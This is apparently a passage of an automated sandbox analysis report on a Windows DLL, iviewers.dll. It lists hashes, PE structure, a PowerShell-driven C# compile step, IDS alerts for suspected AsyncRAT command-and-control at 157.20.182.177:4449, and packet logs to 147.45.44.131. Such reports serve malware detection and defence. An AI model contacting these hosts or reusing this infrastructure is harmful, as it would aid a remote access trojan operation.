Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m.vg...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	711
Entropy (8bit):	5.202177302038949
Encrypted:	false
SSDEEP:	12:KO2z/qR37L/6K2aS4GtaS4aKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KOuqdn6K2aS4OaS4aKax5DqBVKVrdFAw
MD5:	CC189DB4BBA138F2FE144FF38F2D5DE9
SHA1:	4449C4827BB844AE1EC77F0F31EA5F6900FB4215
SHA-256:	3C73F693ECC9A8B7AEEC718273C38AA36B1DE4F5609C84703BA400E97921EB45
SHA-512:	7F9AD59F7E0FF814FB37FD8E7DC5A038F332D87CC4B3408236A38775DAD47E63345404929AE10C5C8CFDA362F4F0B00A27B8308AD0A037D146F34634D092197C
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Entropy (8bit):	6.329772980958026
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	iviewers.dll
File size:	90'112 bytes
MD5:	33ae2b9c3e710254fe2e2ce35ff8a7c8
SHA1:	109e32187254b27e04ef18bbe1b48fad42bca841
SHA256:	9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68
SHA512:	2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599
SSDEEP:	1536:L02ifPleVQ8zxlaSRslYzy26igsbuNdn4fuH1e6tsWy4cdlETcgS/iG:5iV4Qaxltsl/ggsCN3oBlQcgkiG
TLSH:	BE937B1171D2D075E57E29351434CA654B3EB920CFE09DAB639A0ABA8F302C0DF35E6B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x%S;.K.;.K.;.K.paH.1.K.paN...K.paO./.K.=.N.$.K.=.O.*.K.=.H./.K.paJ.8.K.;.J.n.K.V.B.:.K.V.K.:.K.V...:.K.V.I.:.K.Rich;.K........

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x10001363
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67767295 [Thu Jan 2 11:03:49 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d8b7f311dc1cf9fbfebee86209359312

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FC65CC5D397h
call 00007FC65CC5D519h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FC65CC5D243h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1000F004h]
push dword ptr [ebp+08h]
call dword ptr [1000F000h]
push C0000409h
call dword ptr [1000F008h]
push eax
call dword ptr [1000F00Ch]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1000F010h]
test eax, eax
je 00007FC65CC5D397h
push 00000002h
pop ecx
int 29h
mov dword ptr [10016A10h], eax
mov dword ptr [10016A0Ch], ecx
mov dword ptr [10016A08h], edx
mov dword ptr [10016A04h], ebx
mov dword ptr [10016A00h], esi
mov dword ptr [100169FCh], edi
mov word ptr [10016A28h], ss
mov word ptr [10016A1Ch], cs
mov word ptr [100169F8h], ds
mov word ptr [100169F4h], es
mov word ptr [100169F0h], fs
mov word ptr [100169ECh], gs
pushfd
pop dword ptr [10016A20h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [10016A14h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00016A18h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x14ad0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x14b24	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x19000	0xf2c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x13eb8	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x13df8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf000	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xdd1e	0xde00	0d6622cf2e4b462fec193d8dad399b24	False	0.6113105292792793	data	6.590728472163947	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf000	0x61b2	0x6200	39821b86d8d70e6b070252d9ac3774a8	False	0.4240672831632653	data	4.924788013959587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x16000	0x133c	0xa00	7a598c1ec3c77c8112794aed180e593d	False	0.153515625	data	2.065541601450599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x18000	0x1e0	0x200	c7a4e8ec050a078d37fff5197af953e2	False	0.52734375	data	4.7122981932940915	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x19000	0xf2c	0x1000	12d33fdec96427c9c4bf526f79191cd4	False	0.74609375	data	6.381560215601172	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x18060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, InterlockedFlushSList, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, RaiseException, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapFree, CloseHandle, WaitForSingleObject, GetExitCodeProcess, CreateProcessW, GetFileAttributesExW, HeapAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, CompareStringW, LCMapStringW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, HeapSize, HeapReAlloc, SetStdHandle, FlushFileBuffers, WriteFile, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, WriteConsoleW, DecodePointer

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x10001000

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T19:14:22.082517+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	157.20.182.177	4449	192.168.2.6	49776	TCP
2025-01-02T19:14:26.824456+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	157.20.182.177	4449	192.168.2.6	49810	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 19:14:13.306922913 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.311793089 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.311855078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.314888000 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.319756985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.330832958 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.335602999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.335673094 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.340095043 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.340126991 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.344846010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.344898939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.344938040 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.358478069 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.363327026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.951271057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.951292038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.951390982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.951828003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.951873064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.952014923 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:13.975610971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.975632906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:13.975815058 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.063129902 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.066613913 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.067886114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.071464062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.165345907 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.170176029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.170289993 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.172321081 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.177202940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.204313993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.209125042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.243905067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.243922949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.243935108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.243978977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.243983984 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.243997097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.244012117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.244021893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.244033098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.244040966 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.244070053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.244070053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.244767904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.244870901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.244883060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.244895935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.245006084 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.248430014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248441935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248452902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248528957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.248543978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248557091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248569965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248580933 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248591900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248615026 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.248615980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.248725891 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.248781919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248796940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248806953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248816967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248827934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.248841047 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.248944998 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.253354073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.309561968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.309561968 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.332914114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.332926035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.332932949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.332961082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.332972050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.332993031 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.333071947 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.333331108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333344936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333579063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333590031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333595991 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.333602905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333621025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333633900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333652020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.333652020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.333689928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333700895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333726883 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.333761930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.333789110 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.333815098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.334019899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.334245920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.334259033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.334275961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.334286928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.334297895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.334306955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.334331989 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.335095882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.335108042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.335124969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.335269928 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.339226961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339238882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339358091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339368105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339374065 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.339378119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339468956 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.339776039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339787960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339801073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339811087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339823008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339833975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.339855909 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.339905024 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.340714931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.340728998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.340738058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.340749025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.340759993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.340771914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.340795040 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.340833902 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.389450073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389461994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389473915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389530897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.389555931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389568090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389579058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389590025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389600992 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389611959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389617920 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.389617920 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.389622927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.389651060 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.389663935 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.389986992 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.390055895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.390094995 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.394484043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.394495964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.394604921 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.510412931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.510432005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.510456085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.510495901 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.511081934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511092901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511104107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511120081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511130095 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511132956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.511142969 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.511194944 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.511415958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511478901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511490107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511506081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.511538029 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.511558056 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.512075901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512094975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512106895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512116909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512137890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512145996 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.512176991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.512651920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512664080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512674093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.512703896 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.512759924 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:14.839303970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.839339018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:14.839759111 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.549258947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.554404974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.686391115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.691167116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736150026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736170053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736181974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736191988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736205101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736213923 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736218929 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.736226082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736242056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736243963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736249924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736262083 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.736288071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.736903906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736915112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.736952066 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.772564888 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.775916100 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.777354956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.780700922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.823599100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.823611021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.823621988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.823643923 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.826576948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.826587915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.826625109 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.826703072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.826714039 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.826725006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:15.826750040 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:15.826777935 CET	49734	80	192.168.2.6	147.45.44.131
